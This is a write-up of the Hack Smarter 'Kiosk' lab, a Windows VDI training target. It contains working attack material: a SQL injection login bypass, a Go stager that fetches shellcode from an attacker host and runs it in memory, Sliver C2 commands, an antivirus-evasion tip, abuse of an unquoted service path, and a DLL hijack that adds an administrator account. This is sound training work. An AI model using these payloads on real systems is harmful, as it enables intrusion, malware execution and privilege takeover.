> For the complete documentation index, see [llms.txt](https://0xb0b.gitbook.io/writeups/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://0xb0b.gitbook.io/writeups/hack-smarter-labs/2026/kiosk.md).

# Kiosk

{% embed url="<https://www.hacksmarter.org/courses/05be607d-6a02-4641-9325-b8d1ad6c1889>" %}

The following post by 0xb0b is licensed under [CC BY 4.0<img src="https://mirrors.creativecommons.org/presskit/icons/cc.svg?ref=chooser-v1" alt="" data-size="line"><img src="https://mirrors.creativecommons.org/presskit/icons/by.svg?ref=chooser-v1" alt="" data-size="line">](http://creativecommons.org/licenses/by/4.0/?ref=chooser-v1)

***

## Scenario

### Objective <a href="#user-content-objective" id="user-content-objective"></a>

DarkHaven is deploying a new Virtual Desktop Infrastructure (VDI) to harden their corporate network. You have been engaged to assess the security of their VDI portal and underlying architecture. Your primary objective is to identify vulnerabilities that could allow an authenticated user to escape the virtualized environment and escalate privileges.

## Summary

<details>

<summary>Summary</summary>

In Kiosk, we begin with external enumeration and discover an IIS web server on port `80`, a second web interface on port `8443`, SMB on `445`, RDP on `3389`, and WinRM on `5985`. The `8443` interface presents a login page, and `robots.txt`advertises `/portal.asp`, `/admin/`, and `/api/` endpoints. Directory brute-forcing yields no additional findings, so we focus on the login form, bypassing authentication via a classic SQL injection payload (`' -- -`) and recovering credentials for `vdiuser`.

Logging in via RDP as `vdiuser` brings us in a kiosk environment that is able to open remote files. We set up a credentialed SMB share and serve a custom Go stager that downloads and executes Sliver C2 shellcode directly into memory via `VirtualAlloc`. Providing the stager path through the kiosk's UNC path input triggers execution and returns a Sliver session, granting us a foothold on the system.

For privilege escalation to `svcuser`, we run `SharpUp` and discover plaintext credentials embedded in a `Unattend.xml`deployment file at `C:\Windows\Panther\`. Using these credentials, we RDP in as `svcuser` and are greeted with another Kiosk environment. By entering `C:\Windows\system32\cmd.exe` directly into the address bar of the open file dialog, we open the file explorer, and repeating the same trick in its address bar allows us to escape the Kiosk and spawn a command prompt.

With access as `svcuser` we recall the unquoted service path `C:\Program Files\Darkhaven Kiosk Services\`. We plant a service-aware Go stager compiled as `DH.exe`,modified to handle SCM control requests and execute shellcode asynchronously, into the vulnerable path. Restarting the `DH_KioskMonitor` service triggers execution in the context of `dh_admin`, yielding a stable Sliver session.

Finally, enumerating the `C:\DarkhavenTools\` directory reveals a scheduled task executable with a missing `dhlog.dll`dependency. We craft a malicious DLL that executes within `DllMain` on `DLL_PROCESS_ATTACH` and place it at the expected path. The scheduled task runs as `Administrator`, and our DLL payload creates a new local administrator account, allowing us to RDP in and retrieve the final flag.

</details>

<details>

<summary>Changelog</summary>

The scenario has been changed to an assumed breach scenarion. The section access as vdiuser can be skipped.

</details>

## Recon

We use `rustscan -b 500 -a 10.0.24.230 --top -- -sC -sV -Pn` to enumerate all TCP ports on the target machine, piping the discovered results into Nmap which runs default NSE scripts `-sC`, service and version detection `-sV`, and treats the host as online without ICMP echo `-Pn`.

A batch size of `500` trades speed for stability, the default `1500` balances both, while much larger sizes increase throughput but risk missed responses and instability.

{% code overflow="wrap" expandable="true" %}

```
rustscan -b 500 -a 10.0.24.230 --top -- -sC -sV -Pn
```

{% endcode %}

<figure><img src="/files/qTMDI0PsQZwpaxMahJ0U" alt=""><figcaption></figcaption></figure>

The target machine exposes six open ports: HTTP/IIS on 80 and 8443 (SSL, hostname `darkhaven-vdi.corp`), SMB on 445, RDP on 3389, WinRM on 5985, and HTTPAPI on 5357. The target is a Windows Server 2019 machine (hostname `EC2AMAZ-0536LUM`) with the 8443 web interface notably advertising `/portal.asp`, `/admin/`, and `/api/` endpoints via the `robots.txt`.

<figure><img src="/files/0Cr5KsPQLDYhkWg2ZVny" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/SngPtPDDakd4XIQRtxJQ" alt=""><figcaption></figcaption></figure>

We try to authenticate anonymously and via `guest` agains SMB using NetExec but without success. &#x20;

{% code overflow="wrap" expandable="true" %}

```
nxc smb 10.0.24.230 -u guest -p '' --shares
```

{% endcode %}

<figure><img src="/files/Y82Hll8kJrpQ0OiyqCTc" alt=""><figcaption></figcaption></figure>

On port 80, we only have the standard IIS page available.

{% code overflow="wrap" expandable="true" %}

```
http://10.0.24.230/
```

{% endcode %}

<figure><img src="/files/4D4WIsv3T46nu9OpcmZg" alt=""><figcaption></figcaption></figure>

When we visit the site on port `8443`, we are presented with a login page.

{% code overflow="wrap" expandable="true" %}

```
https://10.0.24.230:8443/login.asp
```

{% endcode %}

<figure><img src="/files/mwIBCZY58NBq7MXgtoFc" alt=""><figcaption></figcaption></figure>

A directory scan using FeroxBuster does not reveal any additional information beyond what we already identified with our port scan.

{% code overflow="wrap" expandable="true" %}

```
feroxbuster -w /usr/share/wordlists/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt -u 'https://10.0.24.230:8443/' -x asp,aspx -k
```

{% endcode %}

<figure><img src="/files/vahggprNOBvosYxIJa1J" alt=""><figcaption></figcaption></figure>

## Access as vdiuser \[deprecated]

{% hint style="info" %}
Credentials are given. Skip to Shell as vdiuser
{% endhint %}

We'll focus on the login page and try to gain access using a simple SQL injection payload. Using `' -- -` as the username with any password, we can attempt to comment out the remainder of the SQL query to bypass the authentication if the login form is vulnerable to unsanitized input.

{% code overflow="wrap" expandable="true" %}

```
https://10.0.24.230:8443/login.asp
```

{% endcode %}

{% code overflow="wrap" expandable="true" %}

```
' -- -
```

{% endcode %}

<figure><img src="/files/JqWZb9MeS41pX95Fbie4" alt=""><figcaption></figcaption></figure>

We get access and see the credentials for the VDI Desktop.

<figure><img src="/files/x45buE8rnenmVznpn7By" alt=""><figcaption></figcaption></figure>

## Shell as vdiuser

Using the credentials we are able to log in via RDP to the VDI. This looks like a Kiosk mode. From there we can provide a local or network path to open a document.

<figure><img src="/files/Zvf6yhKdTxGH9mV9KmZ9" alt=""><figcaption></figcaption></figure>

First, we'll set up an SMB server. The idea is to see if we can access our machine by specifying a UNC path, so that we can transfer for example files, get maybe out of the kiosk mode through a file explorer popping up.

{% code overflow="wrap" expandable="true" %}

```
smbserver.py -smb2support EXEGOL $(pwd)
```

{% endcode %}

<figure><img src="/files/FlKYDzd4kK7Eam2lmJJ1" alt=""><figcaption></figcaption></figure>

We provide the path to our share.

{% code overflow="wrap" expandable="true" %}

```
\\10.200.60.3\EXEGOL
```

{% endcode %}

<figure><img src="/files/NVKu9ymfWSS10OjYjLDB" alt=""><figcaption></figcaption></figure>

And receive a connection. But nothing pops up.&#x20;

Now lets see if the application opens any file we provide and is capable of executing provided executables.

<figure><img src="/files/B2g9GaANLykyo9AigB5w" alt=""><figcaption></figcaption></figure>

We're bringing out the big guns and prepare a stager to download and execute Sliver C2 shellcode tro retrieve a session in Sliver C2.

**Prepare a custom stager**

First we need to prepare the stager. This is the one we created for the lab Staged:&#x20;

{% embed url="<https://0xb0b.gitbook.io/writeups/hack-smarter-labs/2025/staged>" %}

The stager fetches raw shellcode from a chosen URL and loads it directly into memory as bytes. The payload is not embedded in the binary, allowing it to be changed without recompiling.

It calls `VirtualAlloc` to reserve and commit memory with execute, read, and write permissions, then copies the downloaded shellcode into that memory using unsafe pointer operations.

The execution is transferred to the allocated memory address using `syscall.Syscall`, handing control to the shellcode.

{% code title="stager.go" overflow="wrap" lineNumbers="true" expandable="true" %}

```go
		// +build windows
		
		package main
		
		import (
			"io"
			"net/http"
			"syscall"
			"unsafe"
		)
		
		var (
			kernel32            = syscall.NewLazyDLL("kernel32.dll")
			procVirtualAlloc    = kernel32.NewProc("VirtualAlloc")
		)
		
		const (
			MEM_COMMIT             = 0x1000
			MEM_RESERVE            = 0x2000
			PAGE_EXECUTE_READWRITE = 0x40
		)
		
		func downloadShellcode(url string) ([]byte, error) {
			resp, err := http.Get(url)
			if err != nil {
				return nil, err
			}
			defer resp.Body.Close()
		
			return io.ReadAll(resp.Body)
		}
		
		func executeShellcode(shellcode []byte) {
			addr, _, err := procVirtualAlloc.Call(
				0,
				uintptr(len(shellcode)),
				MEM_COMMIT|MEM_RESERVE,
				PAGE_EXECUTE_READWRITE,
			)
			if addr == 0 {
				panic(err)
			}
		
			// Copy shellcode into allocated memory
			for i := 0; i < len(shellcode); i++ {
				*(*byte)(unsafe.Pointer(addr + uintptr(i))) = shellcode[i]
			}
		
			// Execute shellcode
			syscall.Syscall(addr, 0, 0, 0, 0)
		}
		
		func main() {
			url := "http://10.200.60.3/shellc.bin"
		
			shellcode, err := downloadShellcode(url)
			if err != nil {
				panic(err)
			}
		
			executeShellcode(shellcode)
		}
```

{% endcode %}

We compile the stager as follows on our exegol instance like we did for Dismay:

{% code title="stager.go" overflow="wrap" lineNumbers="true" expandable="true" %}

```go
	// +build windows
	
	package main
	
	import (
		"io"
		"net/http"
		"syscall"
		"unsafe"
	)
	
	var (
		kernel32            = syscall.NewLazyDLL("kernel32.dll")
		procVirtualAlloc    = kernel32.NewProc("VirtualAlloc")
	)
	
	const (
		MEM_COMMIT             = 0x1000
		MEM_RESERVE            = 0x2000
		PAGE_EXECUTE_READWRITE = 0x40
	)
	
	func downloadShellcode(url string) ([]byte, error) {
		resp, err := http.Get(url)
		if err != nil {
			return nil, err
		}
		defer resp.Body.Close()
	
		return io.ReadAll(resp.Body)
	}
	
	func executeShellcode(shellcode []byte) {
		addr, _, err := procVirtualAlloc.Call(
			0,
			uintptr(len(shellcode)),
			MEM_COMMIT|MEM_RESERVE,
			PAGE_EXECUTE_READWRITE,
		)
		if addr == 0 {
			panic(err)
		}
	
		// Copy shellcode into allocated memory
		for i := 0; i < len(shellcode); i++ {
			*(*byte)(unsafe.Pointer(addr + uintptr(i))) = shellcode[i]
		}
	
		// Execute shellcode
		syscall.Syscall(addr, 0, 0, 0, 0)
	}
	
	func main() {
		url := "http://10.200.38.246/shellc.bin"
	
		shellcode, err := downloadShellcode(url)
		if err != nil {
			panic(err)
		}
	
		executeShellcode(shellcode)
	}
```

{% endcode %}

We compile the stager as follows on our exegol instance:

{% hint style="info" %}
The addition of `-ldflags="-H windowsgui"` ensures that we compile it as an application and not a console app, so it wont spawn a terminal.
{% endhint %}

{% hint style="info" %}
Since the stager got caught due to sample submission, but want to reuse it, we use a simple trick and use the  `-s -w` ldflags for compilation.\
Using `-s -w` strips debug symbols and DWARF metadata from the Go binary, changing its hash and reducing recognizable signatures, which can help avoid detection because antivirus engines that previously flagged the original sample submission may no longer match the modified compiled file exactly. We might see this neat trick later again.
{% endhint %}

{% code overflow="wrap" expandable="true" %}

```
GOOS=windows GOARCH=amd64 CGO_ENABLED=0 go build -ldflags="-H windowsgui -s -w" -o stager.exe stager.go
```

{% endcode %}

<figure><img src="/files/t0AJUaG2wBHGK9rV3AQw" alt=""><figcaption></figcaption></figure>

**Generate shell code**

{% hint style="info" %}
During generation without the `-G` tag, which disables the encoder, no shellcode could be successfully generated. The resulting shellcode was always empty. This may be related to the underlying architecture on which I am operating, namely ARM:

<https://github.com/BishopFox/sliver/issues/1114>
{% endhint %}

Next, we need run the Sliver server and generate the shell code to connect to our sliver instance.

We do this as follows:

{% code overflow="wrap" expandable="true" %}

```
sliver-server
```

{% endcode %}

{% code overflow="wrap" expandable="true" %}

```
generate --mtls 10.200.60.3:443 --os windows --arch amd64 --format shellcode -G --save /workspace/hacksmarter/kiosk/shellc.bin
```

{% endcode %}

<figure><img src="/files/jppngbJSk97UOYTAGMGh" alt=""><figcaption></figcaption></figure>

We run a web server from which the stager and the shellcode can be fetched.

{% code overflow="wrap" expandable="true" %}

```
sudo python -m http.server 80
```

{% endcode %}

**Setup listener**

We set up the listener in sliver as follows:

{% code overflow="wrap" expandable="true" %}

```
mtls --lhost 10.200.60.3 --lport 443
```

{% endcode %}

<figure><img src="/files/r68uFEeIdX7mjFhx1Oxi" alt=""><figcaption></figcaption></figure>

Next we provide our stager and get an error. Authentication is required.

{% code overflow="wrap" expandable="true" %}

```
\\10.200.60.3\EXEGOL\stager.exe
```

{% endcode %}

<figure><img src="/files/NIK4UP8EM8hvgXOfjcTQ" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/tT3hzygnCzyQsQVfeZQs" alt=""><figcaption></figcaption></figure>

We start up our SMB server again, this time with the credentials of `vdiuser`.

{% code overflow="wrap" expandable="true" %}

```
smbserver.py -smb2support EXEGOL $(pwd) -username vdiuser -password 'REDACTED'
```

{% endcode %}

<figure><img src="/files/kPOy2nz71khqlEm7YM4O" alt=""><figcaption></figcaption></figure>

We provide the stager again and get an execution prompt. We run it.

{% hint style="info" %}
This may take a little while.
{% endhint %}

{% code overflow="wrap" expandable="true" %}

```
\\10.200.60.3\EXEGOL\stager.exe
```

{% endcode %}

<figure><img src="/files/yCVYw239eiLFWFFtHLyM" alt=""><figcaption></figcaption></figure>

After a short duration we see the shellcode downloaded and retrieve a session in Sliver C2. We interact with is as follows:

{% code overflow="wrap" expandable="true" %}

```
sessions -i <ID>
```

{% endcode %}

<figure><img src="/files/QYBsTBn3JhKiYzCfA0vW" alt=""><figcaption></figcaption></figure>

We do now have access to the system.

<figure><img src="/files/qR7EX1cPXyrYZ2y6JXeU" alt=""><figcaption></figcaption></figure>

The `C:` drive contains some interesting folders including `KioskData` and `VDIData`. The `VDIData` folder holds the first flag.

<figure><img src="/files/sbnXVxTwqUpVJrGhpsXD" alt=""><figcaption></figcaption></figure>

### Alternative Escape

There should be many other approaches possible.

This is one spotted by DKob on QA:

We can open the context menu through a right click and select print and chose to print a PDF to the file system. This would allow us to open the file explorer and from the open a terminal.

<figure><img src="/files/9cLaIQmcTaaRC6xgOO5v" alt=""><figcaption></figcaption></figure>

After selecting `Print...` from the context menu we chose `Print to PDF` and select `Print` again.

<figure><img src="/files/5mOpAKjkrDvjwLCChyeX" alt=""><figcaption></figcaption></figure>

The file explorer opens to save the PDF...

<figure><img src="/files/KDIn6ukf8a1MMDdOpeRJ" alt=""><figcaption></figcaption></figure>

Instead of chosing a file name we submit the following path pointing to cmd.exe in the address bar and the terminal gets opened.

{% code overflow="wrap" expandable="true" %}

```
C:\Windows\System32\cmd.exe
```

{% endcode %}

<figure><img src="/files/yIUS5iyhOuAxoAcICGUS" alt=""><figcaption></figcaption></figure>

## Shell as svcuser

We enumerate the target using `sharpup`. It is a .NET port of PowerUp available through the Sliver C2 armory.

{% code overflow="wrap" expandable="true" %}

```
sharpup
```

{% endcode %}

<figure><img src="/files/0RnHN9SiOOeIU6x8pssQ" alt=""><figcaption></figcaption></figure>

With the audit parameter we are abel to run a holistic check.&#x20;

We are able to find an `unattend.xml` file containing potentially sensitive deployment credentials left over from the initial setup, and an unquoted service path. This is a misconfiguration that may allow us to escalate our privileges by planting our stager in a vulnerable path location and run it in the context of the service user if we are able to control the service.

However, upon further testing, it turns out that we cannot query the services with the current user and are not able to write to the path.

{% code overflow="wrap" expandable="true" %}

```
sharpup audit
```

{% endcode %}

<figure><img src="/files/7cm69MjPAF71v4T4mACa" alt=""><figcaption></figcaption></figure>

Let's take a look at the `Unattend.xml` file, where we'll find the credentials for user `svcuser` in a base64 encoded string.

{% code overflow="wrap" expandable="true" %}

```
cat 'C:\Windows\Panther\Unattend.xml'
```

{% endcode %}

<figure><img src="/files/QHuyMA3iyoPeyfVLuyRv" alt=""><figcaption></figcaption></figure>

We decode it using CyberChef.

<figure><img src="/files/qHdNgbKD99hle9chDF6W" alt=""><figcaption></figcaption></figure>

We try to get a remote desktop session as `svcuser` and are successful. We are again in a Kiosk environment.

<figure><img src="/files/wkr6XvmJL13JoXYaqfvj" alt=""><figcaption></figcaption></figure>

We browse for local files and try to open a terminal by entering the following path, but a file explorer pops up to chose a file to upload.

{% code overflow="wrap" expandable="true" %}

```
C:\Windows\system32\cmd.exe
```

{% endcode %}

<figure><img src="/files/PiYMODDUOYBx7Kyk8MRZ" alt=""><figcaption></figcaption></figure>

We enter the path again in the address bar of file explorer, which allows us to open a terminal and exit Kiosk mode.

{% code overflow="wrap" expandable="true" %}

```
C:\Windows\system32\cmd.exe
```

{% endcode %}

<figure><img src="/files/0RR1AWK2pqztbfx5oMU2" alt=""><figcaption></figcaption></figure>

From there we are able to reach out to the second flag at `C:\Users\svcuser\Desktop\flag.txt`.

<figure><img src="/files/KaPeKhAAgCWgHwLRjTCP" alt=""><figcaption></figcaption></figure>

## Shell as dh\_admin

Recalling the results from `sharpup` and the fact that we are the `svcuser` we might have now the permissions to query the services.

{% code overflow="wrap" expandable="true" %}

```
sharpup audit
```

{% endcode %}

<figure><img src="/files/tawyOaAtNveBcEZXlZBg" alt=""><figcaption></figcaption></figure>

Running `icacls` against the service directory reveals the effective permissions and we see that we are able to write to this path as the `svcuser`. This allows us to replace the executable or abuse the unqouted service path by placing the stager in `C:\Program Files\Darkhaven Kiosk Services\DH.exe` for exampe.

{% code overflow="wrap" expandable="true" %}

```
execute -o icacls.exe "C:\Program Files\Darkhaven Kiosk Services"
```

{% endcode %}

{% code overflow="wrap" expandable="true" %}

```
execute -o icacls.exe "C:\Program Files\Darkhaven Kiosk Services\DH Monitor Service"
```

{% endcode %}

<figure><img src="/files/WDp6lyF3JfTY77G9Idsg" alt=""><figcaption></figcaption></figure>

Recalling that we were not able to query for the service as `vdiuser`...

{% code overflow="wrap" expandable="true" %}

```
execute -o sc.exe qc DH_KioskMonitor
```

{% endcode %}

<figure><img src="/files/nmBxXsygHQZe1yO2aLt2" alt=""><figcaption></figcaption></figure>

... but we are now able to as `svcuser`.&#x20;

{% code overflow="wrap" expandable="true" %}

```
sc qc DH_KioskMonitor
```

{% endcode %}

<figure><img src="/files/CGAdeojzTJCqRoQn2qjf" alt=""><figcaption></figcaption></figure>

We switch to a powershell session. Move to the upper service directory and download our stager as `DH.exe`.

{% code overflow="wrap" expandable="true" %}

```
powershell
```

{% endcode %}

{% code overflow="wrap" expandable="true" %}

```
cd 'C:\Program Files\Darkhaven Kiosk Services\'
```

{% endcode %}

{% code overflow="wrap" expandable="true" %}

```
curl http://10.200.60.3/stager.exe -o DH.exe
```

{% endcode %}

<figure><img src="/files/B75RFc3zxFn05xDOPoSJ" alt=""><figcaption></figcaption></figure>

We stop and run the service...

{% code overflow="wrap" expandable="true" %}

```
sc.exe stop DH_KioskMonitor
```

{% endcode %}

{% code overflow="wrap" expandable="true" %}

```
sc.exe start DH_KioskMonitor
```

{% endcode %}

<figure><img src="/files/KRvrd9ymmkqvC4EitVbK" alt=""><figcaption></figcaption></figure>

... and receive a connection. We are `dh_admin`.

{% code overflow="wrap" expandable="true" %}

```
sessions -i <ID>
```

{% endcode %}

<figure><img src="/files/lJUhh6sBLPz1dxPgn0lt" alt=""><figcaption></figcaption></figure>

However, since our stager is not an actual service and is unresponsive to start or control requests, it will receive a timeout and be terminated after running the shellcode.

<figure><img src="/files/RtaqA6qr1S6PA0MfviPM" alt=""><figcaption></figcaption></figure>

We use Claude to create a rough service boiler plate...

{% code overflow="wrap" expandable="true" %}

```go
package main

import (
	"golang.org/x/sys/windows/svc"
	"log"
)

func main() {
	isService, err := svc.IsWindowsService()
	if err != nil {
		log.Fatal(err)
	}

	if isService {
		// Run as service with proper event handling
		if err := svc.Run("MyService", handler{}); err != nil {
			log.Println("Service error:", err)
		}
		return
	}

	// Normal program execution
	run()
}

type handler struct{}

func (h handler) Execute(args []string, r <-chan svc.ChangeRequest, changes chan<- svc.Status) (ssec bool, errno uint32) {
	changes <- svc.Status{State: svc.Running, Accepts: svc.AcceptStop}

	for {
		select {
		case c := <-r:
			switch c.Cmd {
			case svc.Stop, svc.Shutdown:
				changes <- svc.Status{State: svc.StopPending}
				return false, 0
			}
		}
	}
}

func run() {
	// Your actual program logic here
	select {} // Keep running
}
```

{% endcode %}

We need to change the `executeShellcode` function so it makes the execution asynchronous so it returns immediately instead of blocking while the shellcode runs.

{% code overflow="wrap" expandable="true" %}

```go
func execute(data []byte) {
	go func() {
		defer func() { recover() }() // Catch panics
		
		addr, _, err := procVirtualAlloc.Call(
			0,
			uintptr(len(data)),
			MEM_COMMIT|MEM_RESERVE,
			PAGE_EXECUTE_READWRITE,
		)
		if addr == 0 {
			return
		}
		
		for i := 0; i < len(data); i++ {
			*(*byte)(unsafe.Pointer(addr + uintptr(i))) = data[i]
		}
		
		syscall.Syscall(addr, 0, 0, 0, 0)
	}()
	
	// Returns immediately, execution happens in background
}
```

{% endcode %}

We end up with the following stager after applying the changes.

{% code title="stager.go" overflow="wrap" lineNumbers="true" expandable="true" %}

```go
package main

import (
	"golang.org/x/sys/windows/svc"
	"log"
	"io"
	"net/http"
	"syscall"
	"unsafe"
)	
var (
	kernel32            = syscall.NewLazyDLL("kernel32.dll")
	procVirtualAlloc    = kernel32.NewProc("VirtualAlloc")
)
		
const (	
	MEM_COMMIT             = 0x1000
	MEM_RESERVE            = 0x2000
	PAGE_EXECUTE_READWRITE = 0x40
)
		
func downloadShellcode(url string) ([]byte, error) {
	resp, err := http.Get(url)
	if err != nil {
		return nil, err
	}
	defer resp.Body.Close()
	return io.ReadAll(resp.Body)
}
		
func execute(data []byte) {
	go func() {
		defer func() { recover() }() // Catch panics
		
		addr, _, err := procVirtualAlloc.Call(
			0,
			uintptr(len(data)),
			MEM_COMMIT|MEM_RESERVE,
			PAGE_EXECUTE_READWRITE,
		)
		if addr == 0 {
			return
		}
		
		for i := 0; i < len(data); i++ {
			*(*byte)(unsafe.Pointer(addr + uintptr(i))) = data[i]
		}
		
		syscall.Syscall(addr, 0, 0, 0, 0)
	}()
	
	// Returns immediately, execution happens in background
}

func main() {
	isService, err := svc.IsWindowsService()
	if err != nil {
		log.Fatal(err)
	}

	if isService {
		// Run as service with proper event handling
		url := "http://10.200.60.3/shellc.bin"
		shellcode, err := downloadShellcode(url)
		if err != nil {
			panic(err)
		}
		execute(shellcode)
		if err := svc.Run("MyService", handler{}); err != nil {
			log.Println("Service error:", err)
		}
		return
	}
	select {} // Keep running
	// Normal program execution
	run()
}

type handler struct{}

func (h handler) Execute(args []string, r <-chan svc.ChangeRequest, changes chan<- svc.Status) (ssec bool, errno uint32) {
	changes <- svc.Status{State: svc.Running, Accepts: svc.AcceptStop}

	for {
		select {
		case c := <-r:
			switch c.Cmd {
			case svc.Stop, svc.Shutdown:
				changes <- svc.Status{State: svc.StopPending}
				return false, 0
			}
		}
	}
}

func run() {
}
```

{% endcode %}

We compile the stager.

{% code overflow="wrap" expandable="true" %}

```
GOOS=windows GOARCH=amd64 CGO_ENABLED=0 go build -ldflags="-X main.Version=1.0.0" -o DH.exe service.go
```

{% endcode %}

<figure><img src="/files/kZR5spk8oyfWWNFiA0Et" alt=""><figcaption></figcaption></figure>

Next, we repeat our steps uploading the new stager binary to the vulnerable unquoted service path location. Upon service restart, the SCM should resolve the ambiguous path and executes our stager.

{% code overflow="wrap" expandable="true" %}

```
curl http://10.200.60.3/DH.exe -o DH.exe
```

{% endcode %}

We start the service...

{% code overflow="wrap" expandable="true" %}

```
sc.exe start DH_KioskMonitor
```

{% endcode %}

<figure><img src="/files/ivQwEm5IgUeHbJmdnYBx" alt=""><figcaption></figcaption></figure>

... and receive a session. The service does not get terminated and we have a stable session.

{% code overflow="wrap" expandable="true" %}

```
sessions -i <ID>
```

{% endcode %}

<figure><img src="/files/8Hj4F5FXprNCteX6Hy1p" alt=""><figcaption></figcaption></figure>

At `C:/Users/dh_admin/Desktop/flag3.txt` we find the third flag.

<figure><img src="/files/jx5gcE77sIioTV819Odk" alt=""><figcaption></figcaption></figure>

## Shell as Administrator

We enumerate the `C:` drive again.

{% code overflow="wrap" expandable="true" %}

```
ls C:
```

{% endcode %}

<figure><img src="/files/bMzoeCYoUAGvgiKeched" alt=""><figcaption></figcaption></figure>

Here we have also a DarkhavenTools directory which contains an executable and a corresponding log folder. The log reveals that on execution thee `dhlog.dll` was missing. We might be able to DLL hijack the executable which is run by a scheduled task.

{% code overflow="wrap" expandable="true" %}

```
ls 'C:\DarkhavenTools'
```

{% endcode %}

<figure><img src="/files/mgTlOA46UQEeyxz0RsH0" alt=""><figcaption></figcaption></figure>

We prepare a DLL that executes the `whoami` command and places the output into a file at `C:\DarkhavenTools\output.txt` to see if our hijack was successful.

It executes the payload directly within `DllMain` when loaded into a process via the `DLL_PROCESS_ATTACH` event, avoiding thread creation which could trigger security detections.

{% code title="poc.c" overflow="wrap" lineNumbers="true" expandable="true" %}

```cpp
#include "windows.h"
#include "ios"
#include "fstream"

void ExecutePayload()
{
    STARTUPINFOW si = { sizeof(si) };
    PROCESS_INFORMATION pi;
    
    // Your payload logic here
    // This runs synchronously in DllMain context
    wchar_t cmd[] = L"cmd.exe /c whoami > C:\\DarkhavenTools\\output.txt";
    
    CreateProcessW(
        NULL,
        cmd,
        NULL,
        NULL,
        FALSE,
        CREATE_NO_WINDOW,
        NULL,
        NULL,
        &si,
        &pi
    );
    
    WaitForSingleObject(pi.hProcess, INFINITE);
    CloseHandle(pi.hProcess);
    CloseHandle(pi.hThread);
}

BOOL WINAPI DllMain(HINSTANCE hinstDLL, DWORD fdwReason, LPVOID lpvReserved)
{
    switch (fdwReason)
    {
        case DLL_PROCESS_ATTACH:
            // Payload executes directly - no thread creation detection
            ExecutePayload();
            break;

        case DLL_PROCESS_DETACH:
            break;
    }
    return TRUE;
}
```

{% endcode %}

We compile the poc as follows...

{% code overflow="wrap" expandable="true" %}

```
x86_64-w64-mingw32-g++ -shared -o dhlog.dll poc.cpp -std=c++17
```

{% endcode %}

<figure><img src="/files/834Nc5uV9xX5ix5HuB0A" alt=""><figcaption></figcaption></figure>

... and ulpoad the dll into `C:\DarkhavenTools\logs\dhlog.dll` as derived from the logs.

{% code overflow="wrap" expandable="true" %}

```
upload /workspace/hacksmarter/kiosk/dhlog.dll 'C:\DarkhavenTools\logs\dhlog.dll'
```

{% endcode %}

<figure><img src="/files/MWZsWbt44Gd6xUEwTsCV" alt=""><figcaption></figcaption></figure>

After a short duration we see the `output.txt` file created. It was run by the administrator.

<figure><img src="/files/kZumC94vGZ8aldsEaUoR" alt=""><figcaption></figcaption></figure>

In my case, I was unable to download and execute my stager. As an alternative, we create a user with local administrator privileges who is a member of the Remote Management Users and Remote Desktop Users group.

{% code title="poc.cpp" overflow="wrap" lineNumbers="true" expandable="true" %}

```cpp
#include "windows.h"
#include "ios"
#include "fstream"

void ExecutePayload()
{
    STARTUPINFOW si = { sizeof(si) };
    PROCESS_INFORMATION pi;
    
    // Your payload logic here
    // This runs synchronously in DllMain context
   wchar_t cmd[] = L"cmd.exe /c \"net user 0xb0b Pwned123@! /add & net localgroup Administrators 0xb0b /add & net localgroup \"Remote Management Users\" 0xb0b /add & net localgroup \"Remote Desktop Users\" 0xb0b /add\"";
    
    CreateProcessW(
        NULL,
        cmd,
        NULL,
        NULL,
        FALSE,
        CREATE_NO_WINDOW,
        NULL,
        NULL,
        &si,
        &pi
    );
    
    WaitForSingleObject(pi.hProcess, INFINITE);
    CloseHandle(pi.hProcess);
    CloseHandle(pi.hThread);
}

BOOL WINAPI DllMain(HINSTANCE hinstDLL, DWORD fdwReason, LPVOID lpvReserved)
{
    switch (fdwReason)
    {
        case DLL_PROCESS_ATTACH:
            // Payload executes directly - no thread creation detection
            ExecutePayload();
            break;

        case DLL_PROCESS_DETACH:
            break;
    }
    return TRUE;
}
```

{% endcode %}

We check if the users exists and see it sucessfully created.

{% code overflow="wrap" expandable="true" %}

```
execute -o powershell.exe -NoProfile -Command "net users"
```

{% endcode %}

<figure><img src="/files/dCCpR5qnI5ERMFwsubc2" alt=""><figcaption></figcaption></figure>

{% code overflow="wrap" expandable="true" %}

```
execute -o powershell.exe -NoProfile -Command "net users 0xb0b"
```

{% endcode %}

<figure><img src="/files/y3j4tj3JTyqJ3BYHM9y6" alt=""><figcaption></figcaption></figure>

We are able to log in with our created user using RDP and run an elevated terminal. From there we are able to reach out to the final flag at `C:\Users\Administrator\Desktop\flag4.txt`.

<figure><img src="/files/5LPeqwyx6cx2m5DIsMmX" alt=""><figcaption></figcaption></figure>
